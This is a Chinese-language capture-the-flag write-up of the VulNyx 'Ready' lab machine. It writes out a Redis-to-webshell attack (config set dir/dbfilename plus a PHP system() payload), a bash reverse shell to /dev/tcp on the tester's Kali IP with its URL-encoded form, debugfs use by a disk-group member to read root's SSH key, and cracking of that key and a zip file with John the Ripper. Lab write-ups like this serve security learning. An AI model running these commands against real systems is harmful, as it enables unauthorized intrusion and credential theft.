VulNyx-ready-01

靶机:通过百度网盘分享的文件:VulNyx - Ready.ova
链接:https://pan.baidu.com/s/1WY1rPqPfjzC0uMYZu4ac3w?pwd=6666 
提取码:6666 

靶场地址:VulNyx: Free Cybersecurity Platform | Enthusiasts & Professionals

靶机下载好后,我用VMware打开,取名为ready,我直接设成了NAT模式了

虚拟网络编辑器为

打开Kali,登录root账户,查看Kali的IP为192.168.33.133

启动靶机,可以看到一个IP,大功率就是靶机IP了,以防万一,还是扫一下

Nmap简单扫描下,根据经验很容易推断出192.168.33.128就是靶机IP

现在进行深度扫描下

访问下网页,翻译看看,没啥用

用feroxbuster来进行目录和文件爆破下,查找潜在的隐藏目录或文件:

feroxbuster -u http://192.168.33.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

没有什么有用的信息,换个端口看看,除了80和8080端口,有一个特别的端口6379,这个端口是Redis数据库的默认端口号,Redis默认情况下不设置密码认证,所以可以尝试连接Redis服务器。

可以成功连接:redis-cli -h 192.168.33.128,基础操作有:

config set dir /var/www/html:
这会将 Redis 的数据持久化目录设置为 /var/www/html。这个目录通常用于托管 Web 内容,这意味着 Redis 将尝试在这个目录下写入其数据库文件。

config set dbfilename webshell.php:
这会将 Redis 的数据持久化文件名设置为 webshell.php。结合前面的 dir 配置,Redis 将尝试在 /var/www/html/webshell.php 中写入其数据。

set test "<?php system($_GET['cmd']);?>":
这会在 Redis 中设置一个键 test,其值为一个 PHP Webshell 代码片段。这个代码片段可以执行服务器上的任意命令。

save:
这会触发 Redis 将其当前数据持久化到磁盘。由于你之前设置了 dir 和 dbfilename,这将导致 Redis 将包含 Webshell 代码的数据库写入 /var/www/html/webshell.php。

访问下是否成功,现在已经成功让 Redis 创建了 webshell.php 文件,这个警告表明 PHP 的 system() 函数收到了一个空的命令。这通常是因为在访问 webshell.php 文件时,没有正确传递 cmd 参数,或者传递了一个空值。system() 函数需要接收一个有效的命令才能执行。

http://192.168.33.128:8080/webshell.php?cmd=ls查看下,看到的输出中包含了一些 Redis 数据库文件格式的信息(如 REDIS0009, redis-ver, redis-bits 等),这说明 Redis 已将数据写入磁盘并生成了对应的文件。这部分输出其实是 Redis RDB 文件格式的一部分,这个文件不仅包含了 Webshell 代码,还包含了 Redis 的一些元数据。

既然可以长传命令了,那么直接反弹shell,开启6666端口监听:nc -lvnp 6666   

将bash -c "bash -i >& /dev/tcp/192.168.33.133/6666 0>&1"用在线URL编码进行编码得到:

bash%20-c%20"bash%20-i%20>%26%20/dev/tcp/192.168.33.133/6666%200>%261"

接着访问

此时监听到了

经过一番寻找,找到一个关键信息user.txt

/etc/passwd 文件中,列出了系统中的所有用户和它们的基本信息。关键信息有:

  1. root 用户:

    • 用户名:root
    • 用户 ID:0
    • 主目录:/root
    • 使用的 Shell:/bin/bash
  2. peter 用户:

    • 用户名:peter
    • 用户 ID:1001
    • 主目录:/home/peter
    • 使用的 Shell:/bin/bash
  3. ben 用户:

    • 用户名:ben
    • 用户 ID:1000
    • 主目录:/home/ben
    • 使用的 Shell:/bin/bash
  4. redis 用户:

    • 用户名:redis
    • 用于运行 Redis 服务,权限较低。

查看下shadow,因为它保存了用户的加密密码,显然访问不了

id后发现了ben 用户隶属于 disk 组,通常意味着他对某些磁盘设备或磁盘上的文件具有访问权限。在某些系统配置中,加入 disk 组的用户可以直接访问磁盘设备文件(如 /dev/sda 等),这可能带来一些有趣的提权机会。

  • 磁盘未满:主分区 /dev/sda1 还有 5.1G 的可用空间,使用率仅为 23%,系统磁盘空间尚充裕。

  • 可能的提权途径

    • 由于 ben 用户属于 disk 组,可以有权限访问 /dev/sda1 设备文件,理论上可以直接读写磁盘内容。可以通过挂载未使用的分区,或者尝试低级别访问设备文件进行进一步的操作。

发现不能挂载,得另辟蹊径了

我们用debugfs这个工具,它是一个用于调试 ext2/ext3/ext4 文件系统的工具。由于ben在 disk 组,理论上可以使用 debugfs 对磁盘分区进行操作,这为我们提供了一个不需要超级用户权限的潜在提权路径。

挂载 /dev/sda1 驱动器后,直接读取rsa 密钥。

在桌面创建rsa.txt,粘贴复制前面的rsa密钥

接下来我用John the Ripper来破解,先将加密的 RSA 私钥文件转换为 John the Ripper 能识别的格式:/usr/share/john/ssh2john.py rsa.txt > rsa_hash.txt,

解密:john rsa_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

解出来的密码是:shelly,生成了未加密的 RSA 私钥文件 rsa_d.txt

直接连接:ssh -i rsa_d.txt root@192.168.33.128

发现root.zip,下载下来解压看看

 scp -i rsa_d.txt root@192.168.33.128:/root/root.zip /home/xb/Desktop/

很遗憾,并不知道密码是多少

root.zip 文件中的密码哈希值提取出来,并将其保存到 root_hash.txt 文件中:

zip2john root.zip > root_hash.txt  

对哈希值进行解密:

john root_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

成功破解了密码:already

到此两个flag找了,不容易啊,每次打靶总是弯弯绕绕,不仅需要细心,更需要耐心,每一次的总结要为下一次做好准备,下个靶机见。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值